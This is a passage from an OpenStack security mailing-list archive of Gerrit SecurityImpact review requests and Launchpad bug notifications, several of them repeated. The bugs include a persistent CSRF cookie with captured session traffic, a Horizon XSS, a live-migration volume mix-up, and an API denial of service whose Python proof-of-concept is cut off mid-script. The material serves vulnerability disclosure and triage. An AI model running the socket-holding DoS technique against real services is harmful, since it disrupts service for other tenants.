I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit 902b1f7a31f550bec96feb1ec73297fdaef3e550 Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to let the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From gerrit2 at review.openstack.org Fri Mar 6 15:35:20 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 06 Mar 2015 15:35:20 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I462f2f6cdc35470f75771b5beca10899a591b46a Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/162198 Log: commit 9b447a95902094da3d763a9ee214a0e0104c9d96 Author: Michael McCune Date: Fri Feb 27 21:47:16 2015 -0500 Adding barbican client and keymgr module This change implements the key manager abstraction module and barbican client helper for the improved secret storage spec. Changes * adding barbican module * adding keymgr module * adding a session method to the keystone module * adding tests for keymgr module * adding documentation for keymgr usage SecurityImpact Implements: blueprint improved-secret-storage Change-Id: I462f2f6cdc35470f75771b5beca10899a591b46a From gerrit2 at review.openstack.org Fri Mar 6 20:41:42 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 06 Mar 2015 20:41:42 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit f9e334accf0b3a3248caabd198adf43840205bf3 Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to let the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From gerrit2 at review.openstack.org Fri Mar 6 22:09:33 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 06 Mar 2015 22:09:33 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit 81ae368d23b3e013ea717e68519130a6a5be1726 Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to let the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From gerrit2 at review.openstack.org Mon Mar 9 02:47:00 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 09 Mar 2015 02:47:00 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I462f2f6cdc35470f75771b5beca10899a591b46a Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/162198 Log: commit ffff7b368200c085a49f4ae2d78edd6c58e8f9ee Author: Michael McCune Date: Fri Feb 27 21:47:16 2015 -0500 Adding barbican client and keymgr module This change implements the key manager abstraction module and barbican client helper for the improved secret storage spec. Changes * adding barbican module * adding keymgr module * adding a session method to the keystone module * adding tests for keymgr module * adding documentation for keymgr usage SecurityImpact Implements: blueprint improved-secret-storage Change-Id: I462f2f6cdc35470f75771b5beca10899a591b46a From gerrit2 at review.openstack.org Mon Mar 9 05:28:16 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 09 Mar 2015 05:28:16 +0000 Subject: [Openstack-security] [openstack/glance-specs] SecurityImpact review request change I94428288cb6851ae74bd80b02b761f3509a188fc Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/138051 Log: commit e4deb7fa8604f20b91327465492a8c94d312cb59 Author: Lakshmi N Sampath Date: Mon Dec 1 04:13:06 2014 -0800 Catalog Index Service Implements: blueprint catalog-index-service This is intended to improve performance of Glance API services while dramatically improving search capabilities. It will improve performance by offloading user search queries from existing API servers. In addition, we are working on numerous improvements in Horizon which will include improvements to image, snapshot, artifact details and searching. The desired user experience is greatly dependent upon a rich, dynamic, near real time faceted and aggregated search capability with a strong query language. DocImpact APIImpact SecurityImpact Change-Id: I94428288cb6851ae74bd80b02b761f3509a188fc Co-Authored-By: Lakshmi N Sampath Co-Authored-By: Travis Tripp Co-Authored-By: Murali Sundar From tsufiev at mirantis.com Mon Mar 2 11:36:49 2015 From: tsufiev at mirantis.com (Timur Sufiev) Date: Mon, 02 Mar 2015 11:36:49 -0000 Subject: [Openstack-security] [Bug 1369865] Re: Permanent Cookie Contains Sensitive Session Information References: <20140916062427.24753.72518.malonedeb@soybean.canonical.com> Message-ID: <20150302113649.17736.40171.malone@gac.canonical.com> The most obvious solution is to use the setting https://docs.djangoproject.com/en/1.7/ref/settings/#csrf-cookie-age but since it has appeared only in Django 1.7, it should wait until Horizon moves to Django 1.7. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1369865 Title: Permanent Cookie Contains Sensitive Session Information Status in OpenStack Dashboard (Horizon): Confirmed Bug description: Affected URL: https://Ip_address/admin/ Entity: csrftoken (Cookie) Risk: It may be possible to steal session information (cookies) that was kept on disk as permanent cookies. Causes: The web application stores sensitive session information in a permanent cookie (on disk) Recommend Fix: Avoid storing sensitive session information in permanent cookies Test requests and response: GET /admin/ HTTP/1.1 Host: 9.5.29.52 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://9.5.29.52/ Cookie: csrftoken=JPjBiDp6Ex6YDw3sgfZPCTPUwWKZdZTm; sessionid=oad3bpy15qm8ntml9wx604yr79cc6zpb Connection: keep-alive HTTP/1.1 200 OK Date: Fri, 12 Sep 2014 07:52:50 GMT Server: Apache Vary: Accept-Language,Cookie,Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Language: en Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Set-Cookie: csrftoken=silTP6ARbLvXohF6YYFLlWHce0KZkjPy; expires=Fri, 11-Sep-2015 07:52:52 GMT; Max-Age=31449600; Path=/; secure Set-Cookie: sessionid=ygq094phgr6og471j6n0asq7x6q37j6n; httponly; Path=/; secure 2014/9/12 516 Usage Overview - Cloud Management Dashboard

Cloud Management Dashboard

2014/9/12 517 TOC
Project

Orchestration

... ... ... To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1369865/+subscriptions From 1427228 at bugs.launchpad.net Mon Mar 2 13:55:36 2015 From: 1427228 at bugs.launchpad.net (Cedric Brandily) Date: Mon, 02 Mar 2015 13:55:36 -0000 Subject: [Openstack-security] [Bug 1427228] [NEW] Allow to run neutron-ns-metadata-proxy as nobody References: <20150302135536.21027.11405.malonedeb@soybean.canonical.com> Message-ID: <20150302135536.21027.11405.malonedeb@soybean.canonical.com> Public bug reported: Currently neutron-ns-metadata-proxy runs with neutron user/group permissions on l3-agent but we should allow to run it with less permissions as neutron user is allowed to run neutron-rootwrap. We should restrict as much as possible neutron-ns-metadata-proxy permissions as it's reachable from VMs. ** Affects: neutron Importance: Undecided Assignee: Cedric Brandily (cbrandily) Status: New ** Tags: l3-ipam-dhcp security ** Changed in: neutron Assignee: (unassigned) => Cedric Brandily (cbrandily) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1427228 Title: Allow to run neutron-ns-metadata-proxy as nobody Status in OpenStack Neutron (virtual network service): New Bug description: Currently neutron-ns-metadata-proxy runs with neutron user/group permissions on l3-agent but we should allow to run it with less permissions as neutron user is allowed to run neutron-rootwrap. We should restrict as much as possible neutron-ns-metadata-proxy permissions as it's reachable from VMs. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1427228/+subscriptions From kent.wang at intel.com Tue Mar 3 00:38:14 2015 From: kent.wang at intel.com (Kent Wang) Date: Tue, 03 Mar 2015 00:38:14 -0000 Subject: [Openstack-security] [Bug 1369865] Re: Permanent Cookie Contains Sensitive Session Information References: <20140916062427.24753.72518.malonedeb@soybean.canonical.com> Message-ID: <20150303003815.21368.78348.launchpad@soybean.canonical.com> ** Changed in: horizon Assignee: (unassigned) => Kent Wang (k.wang) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1369865 Title: Permanent Cookie Contains Sensitive Session Information Status in OpenStack Dashboard (Horizon): Confirmed Bug description: Affected URL: https://Ip_address/admin/ Entity: csrftoken (Cookie) Risk: It may be possible to steal session information (cookies) that was kept on disk as permanent cookies. Causes: The web application stores sensitive session information in a permanent cookie (on disk) Recommend Fix: Avoid storing sensitive session information in permanent cookies Test requests and response: GET /admin/ HTTP/1.1 Host: 9.5.29.52 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://9.5.29.52/ Cookie: csrftoken=JPjBiDp6Ex6YDw3sgfZPCTPUwWKZdZTm; sessionid=oad3bpy15qm8ntml9wx604yr79cc6zpb Connection: keep-alive HTTP/1.1 200 OK Date: Fri, 12 Sep 2014 07:52:50 GMT Server: Apache Vary: Accept-Language,Cookie,Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Language: en Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Set-Cookie: csrftoken=silTP6ARbLvXohF6YYFLlWHce0KZkjPy; expires=Fri, 11-Sep-2015 07:52:52 GMT; Max-Age=31449600; Path=/; secure Set-Cookie: sessionid=ygq094phgr6og471j6n0asq7x6q37j6n; httponly; Path=/; secure 2014/9/12 516 Usage Overview - Cloud Management Dashboard

Cloud Management Dashboard

2014/9/12 517 TOC
Project

Orchestration

... ... ... To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1369865/+subscriptions From 1427228 at bugs.launchpad.net Thu Mar 5 00:18:18 2015 From: 1427228 at bugs.launchpad.net (OpenStack Infra) Date: Thu, 05 Mar 2015 00:18:18 -0000 Subject: [Openstack-security] [Bug 1427228] Re: Allow to run neutron-ns-metadata-proxy as nobody References: <20150302135536.21027.11405.malonedeb@soybean.canonical.com> Message-ID: <20150305001818.10688.64723.malone@soybean.canonical.com> Fix proposed to branch: master Review: https://review.openstack.org/161494 ** Changed in: neutron Status: New => In Progress -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1427228 Title: Allow to run neutron-ns-metadata-proxy as nobody Status in OpenStack Neutron (virtual network service): In Progress Bug description: Currently neutron-ns-metadata-proxy runs with neutron user/group permissions on l3-agent but we should allow to run it with less permissions as neutron user is allowed to run neutron-rootwrap. We should restrict as much as possible neutron-ns-metadata-proxy permissions as it's reachable from VMs. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1427228/+subscriptions From 1428829 at bugs.launchpad.net Thu Mar 5 20:36:03 2015 From: 1428829 at bugs.launchpad.net (Dolph Mathews) Date: Thu, 05 Mar 2015 20:36:03 -0000 Subject: [Openstack-security] [Bug 1428829] Re: Fernet tokens don't return audit_ids References: <20150305202358.5908.70068.malonedeb@wampee.canonical.com> Message-ID: <20150305203604.11099.55704.launchpad@soybean.canonical.com> ** Tags added: security ** Changed in: keystone Milestone: None => kilo-3 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1428829 Title: Fernet tokens don't return audit_ids Status in OpenStack Identity (Keystone): In Progress Bug description: The Fernet token formatters accidentally pop the audit_ids from the token_data [1]. The audit_ids shouldn't be removed from the token_data because we need them in the response. [1] https://github.com/openstack/keystone/blob/d36e499a837074d65365ffa440470516c64e2ab6/keystone/token/providers/fernet/token_formatters.py#L126 To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1428829/+subscriptions From kent.wang at intel.com Fri Mar 6 00:11:32 2015 From: kent.wang at intel.com (Kent Wang) Date: Fri, 06 Mar 2015 00:11:32 -0000 Subject: [Openstack-security] [Bug 1369865] Re: Permanent Cookie Contains Sensitive Session Information References: <20140916062427.24753.72518.malonedeb@soybean.canonical.com> Message-ID: <20150306001132.29058.85506.malone@chaenomeles.canonical.com> Were there any other cookies affected by this besides the csrf token? -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1369865 Title: Permanent Cookie Contains Sensitive Session Information Status in OpenStack Dashboard (Horizon): Confirmed Bug description: Affected URL: https://Ip_address/admin/ Entity: csrftoken (Cookie) Risk: It may be possible to steal session information (cookies) that was kept on disk as permanent cookies. Causes: The web application stores sensitive session information in a permanent cookie (on disk) Recommend Fix: Avoid storing sensitive session information in permanent cookies Test requests and response: GET /admin/ HTTP/1.1 Host: 9.5.29.52 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://9.5.29.52/ Cookie: csrftoken=JPjBiDp6Ex6YDw3sgfZPCTPUwWKZdZTm; sessionid=oad3bpy15qm8ntml9wx604yr79cc6zpb Connection: keep-alive HTTP/1.1 200 OK Date: Fri, 12 Sep 2014 07:52:50 GMT Server: Apache Vary: Accept-Language,Cookie,Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Language: en Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Set-Cookie: csrftoken=silTP6ARbLvXohF6YYFLlWHce0KZkjPy; expires=Fri, 11-Sep-2015 07:52:52 GMT; Max-Age=31449600; Path=/; secure Set-Cookie: sessionid=ygq094phgr6og471j6n0asq7x6q37j6n; httponly; Path=/; secure 2014/9/12 516 Usage Overview - Cloud Management Dashboard

Cloud Management Dashboard

2014/9/12 517 TOC
Project

Orchestration

... ... ... To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1369865/+subscriptions From kent.wang at intel.com Fri Mar 6 00:45:17 2015 From: kent.wang at intel.com (Kent Wang) Date: Fri, 06 Mar 2015 00:45:17 -0000 Subject: [Openstack-security] [Bug 1369865] Re: Permanent Cookie Contains Sensitive Session Information References: <20140916062427.24753.72518.malonedeb@soybean.canonical.com> Message-ID: <20150306004517.29769.12201.malone@chaenomeles.canonical.com> Were there any other cookies affected by this besides the csrf token? -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1369865 Title: Permanent Cookie Contains Sensitive Session Information Status in OpenStack Dashboard (Horizon): Confirmed Bug description: Affected URL: https://Ip_address/admin/ Entity: csrftoken (Cookie) Risk: It may be possible to steal session information (cookies) that was kept on disk as permanent cookies. Causes: The web application stores sensitive session information in a permanent cookie (on disk) Recommend Fix: Avoid storing sensitive session information in permanent cookies Test requests and response: GET /admin/ HTTP/1.1 Host: 9.5.29.52 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://9.5.29.52/ Cookie: csrftoken=JPjBiDp6Ex6YDw3sgfZPCTPUwWKZdZTm; sessionid=oad3bpy15qm8ntml9wx604yr79cc6zpb Connection: keep-alive HTTP/1.1 200 OK Date: Fri, 12 Sep 2014 07:52:50 GMT Server: Apache Vary: Accept-Language,Cookie,Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Language: en Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Set-Cookie: csrftoken=silTP6ARbLvXohF6YYFLlWHce0KZkjPy; expires=Fri, 11-Sep-2015 07:52:52 GMT; Max-Age=31449600; Path=/; secure Set-Cookie: sessionid=ygq094phgr6og471j6n0asq7x6q37j6n; httponly; Path=/; secure 2014/9/12 516 Usage Overview - Cloud Management Dashboard

Cloud Management Dashboard

2014/9/12 517 TOC
Project

Orchestration

... ... ... To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1369865/+subscriptions From 1428829 at bugs.launchpad.net Fri Mar 6 15:27:05 2015 From: 1428829 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 06 Mar 2015 15:27:05 -0000 Subject: [Openstack-security] [Bug 1428829] Fix proposed to keystone (master) References: <20150305202358.5908.70068.malonedeb@wampee.canonical.com> Message-ID: <20150306152705.11583.67932.malone@gac.canonical.com> Fix proposed to branch: master Review: https://review.openstack.org/162196 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1428829 Title: Fernet tokens don't return audit_ids Status in OpenStack Identity (Keystone): In Progress Bug description: The Fernet token formatters accidentally pop the audit_ids from the token_data [1]. The audit_ids shouldn't be removed from the token_data because we need them in the response. [1] https://github.com/openstack/keystone/blob/d36e499a837074d65365ffa440470516c64e2ab6/keystone/token/providers/fernet/token_formatters.py#L126 To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1428829/+subscriptions From 1428829 at bugs.launchpad.net Fri Mar 6 18:01:42 2015 From: 1428829 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 06 Mar 2015 18:01:42 -0000 Subject: [Openstack-security] [Bug 1428829] Change abandoned on keystone (master) References: <20150305202358.5908.70068.malonedeb@wampee.canonical.com> Message-ID: <20150306180142.8600.70351.malone@chaenomeles.canonical.com> Change abandoned by Dolph Mathews (dolph.mathews at gmail.com) on branch: master Review: https://review.openstack.org/162196 Reason: landing discrete changes instead -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1428829 Title: Fernet tokens don't return audit_ids Status in OpenStack Identity (Keystone): In Progress Bug description: The Fernet token formatters accidentally pop the audit_ids from the token_data [1]. The audit_ids shouldn't be removed from the token_data because we need them in the response. [1] https://github.com/openstack/keystone/blob/d36e499a837074d65365ffa440470516c64e2ab6/keystone/token/providers/fernet/token_formatters.py#L126 To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1428829/+subscriptions From 1428829 at bugs.launchpad.net Fri Mar 6 22:36:09 2015 From: 1428829 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 06 Mar 2015 22:36:09 -0000 Subject: [Openstack-security] [Bug 1428829] Re: Fernet tokens don't return audit_ids References: <20150305202358.5908.70068.malonedeb@wampee.canonical.com> Message-ID: <20150306223609.21349.83126.malone@gac.canonical.com> Reviewed: https://review.openstack.org/161855 Committed: https://git.openstack.org/cgit/openstack/keystone/commit/?id=13f7cf70d59e5d865200f505db085a57eb3ba1eb Submitter: Jenkins Branch: master commit 13f7cf70d59e5d865200f505db085a57eb3ba1eb Author: Dolph Mathews Date: Thu Mar 5 19:36:08 2015 +0000 Refactor: remove token formatters dep on 'token_data' on create() The calling module already has to understand how token_data is composed, so there's no reason for the token formatters create() method to work with such complex data. This patch ensures that token formatters only see primitive strings (of datetimes, audit IDs, and trust IDs) when creating tokens, which they're free to encode however they wish. The subsequent patch removes the same dependency in validate(). As part of this refactor, bug 1428829 is also addressed by simplifying how audit_ids are handled (they're not mutated any more than strictly necessary). Change-Id: Ia07c57ef183d188acea7fc1f731b94a8792c2875 Closes-Bug: 1428829 ** Changed in: keystone Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1428829 Title: Fernet tokens don't return audit_ids Status in OpenStack Identity (Keystone): Fix Committed Bug description: The Fernet token formatters accidentally pop the audit_ids from the token_data [1]. The audit_ids shouldn't be removed from the token_data because we need them in the response. [1] https://github.com/openstack/keystone/blob/d36e499a837074d65365ffa440470516c64e2ab6/keystone/token/providers/fernet/token_formatters.py#L126 To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1428829/+subscriptions From gerrit2 at review.openstack.org Mon Mar 9 13:08:48 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 09 Mar 2015 13:08:48 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I462f2f6cdc35470f75771b5beca10899a591b46a Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/162198 Log: commit 2728acd6d137bf27f3caa81be8b66d87bf1bcbf0 Author: Michael McCune Date: Fri Feb 27 21:47:16 2015 -0500 Adding barbican client and keymgr module This change implements the key manager abstraction module and barbican client helper for the improved secret storage spec. Changes * adding barbican module * adding keymgr module * adding a session method to the keystone module * adding tests for keymgr module * adding documentation for keymgr usage SecurityImpact Implements: blueprint improved-secret-storage Change-Id: I462f2f6cdc35470f75771b5beca10899a591b46a From fungi at yuggoth.org Mon Mar 9 14:07:37 2015 From: fungi at yuggoth.org (Jeremy Stanley) Date: Mon, 09 Mar 2015 14:07:37 -0000 Subject: [Openstack-security] [Bug 1419577] Re: when live-migrate failed, lun-id couldn't be rollback in havana References: <20150209012956.20741.53343.malonedeb@chaenomeles.canonical.com> Message-ID: <20150309140738.4970.64121.malone@wampee.canonical.com> Agreed on C1: this wouldn't qualify for an advisory since Havana is no longer supported by the VMT, but it's still something a distro carrying Havana packages of Nova might fix on their own and request a corresponding CVE to track. ** Information type changed from Public Security to Public ** Tags added: security ** Changed in: ossa Status: Incomplete => Won't Fix -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1419577 Title: when live-migrate failed, lun-id couldn't be rollback in havana Status in OpenStack Compute (Nova): Confirmed Status in OpenStack Security Advisories: Won't Fix Bug description: Hi, guys When live-migrate failed with error, lun-id of connection_info column in Nova's block_deivce_mapping table couldn't be rollback. and failed VM can have others volume. my test environment is following : Openstack Version : Havana ( 2013.2.3) Compute Node OS : 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux Compute Node multipath : multipath-tools 0.4.9-3ubuntu7.2 test step is : 1) create 2 Compute node (host#1 and host#2) 2) create 1 VM on host#1 (vm01) 3) create 1 cinder volume (vol01) 4) attach 1 volume to vm01 (/dev/vdb) 5) live-migrate vm01 from host#1 to host#2 6) live-migrate success      - please check the mapper by using multipath command in host#1 (# multipath -ll), then you can find mapper is not deleted.        and the status of devices is "failed faulty"      - please check the lun-id of vol01 7) Again, live-migrate vm01 from host#2 to host#1 (vm01 was migrated to host#2 at step 4) 8) live-migrate fail      - please check the mapper in host#1      - please check the lun-id of vol01, then you can find the lun hav "two" igroups      - please check the connection_info column in Nova's block_deivce_mapping table, then you can find lun-id couldn't be rollback This Bug is critical security issue because the failed VM can have others volume. and every backend storage of cinder-volume can have same problem because this is the bug of live-migration's rollback process. I suggest below methods to solve issue : 1) when live-migrate is complete, nova should delete mapper devices at origin host 2) when live-migrate is failed, nova should rollback lun-id in connection_info column 3) when live-migrate is failed, cinder should delete the mapping between lun and host (Netapp : igroup, EMC : storage_group ...) 4) when volume-attach is requested , cinder volume driver of vendors should make lun-id randomly for reduce of probability of mis-mapping please check this bug. Thank you. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1419577/+subscriptions From fungi at yuggoth.org Mon Mar 9 14:12:34 2015 From: fungi at yuggoth.org (Jeremy Stanley) Date: Mon, 09 Mar 2015 14:12:34 -0000 Subject: [Openstack-security] [Bug 1417762] Re: XSS in network create error reporting References: <20150203205415.432.2591.malonedeb@wampee.canonical.com> Message-ID: <20150309141234.8837.94028.malone@chaenomeles.canonical.com> Agreed on class D for this report, and since nobody has objected I've switched it to public, tagged as a security hardening opportunity and switched the advisory task to "won't fix." ** Information type changed from Private Security to Public ** Tags added: security ** Changed in: ossa Status: Incomplete => Won't Fix -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1417762 Title: XSS in network create error reporting Status in OpenStack Dashboard (Horizon): New Status in OpenStack Security Advisories: Won't Fix Bug description: --- This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. --- The error reporting in Horizon for creating a new network is susceptible to a Cross-Site Scripting vulnerability. Example request/response: Request POST /project/networks/create HTTP/1.1 ... csrfmiddlewaretoken=6MGUvp62x8c6GU7TfRXQLZERmJuN7nXT&net_profile_id=&net_name=foobar&admin_state=True&with_subnet=on&subnet_name=&cidr=&ip_version=4&gateway_ip=&enable_dhcp=on&ipv6_modes=none%2Fnone&allocation_pools=&dns_nameservers=&host_routes= Response HTTP/1.1 200 OK Date: Tue, 03 Feb 2015 20:42:28 GMT Server: Apache/2.4.10 (Debian) Vary: Accept-Language,Cookie X-Frame-Options: SAMEORIGIN Content-Language: en Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json Content-Length: 209 {"has_errors": true, "errors": {"createnetworkinfoaction": {"net_profile_id": ["Select a valid choice. is not one of the available choices."]}}, "workflow_slug": "create_network"} In the above example if the net_profile_id does not exist, the json response contains the user input and Horizon echo's it out. Although it would be difficult to exploit this vulnerability because an attacker would need to manipulate the hidden HTML net_profile_id parameter or the POST body, Horizon should still HTML encode the output. To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1417762/+subscriptions From nikhil.komawar at rackspace.com Mon Mar 9 20:47:04 2015 From: nikhil.komawar at rackspace.com (nikhil komawar) Date: Mon, 09 Mar 2015 20:47:04 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150309204708.21140.97698.launchpad@gac.canonical.com> ** Changed in: glance Importance: Undecided => Medium ** Changed in: glance Milestone: None => kilo-3 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket 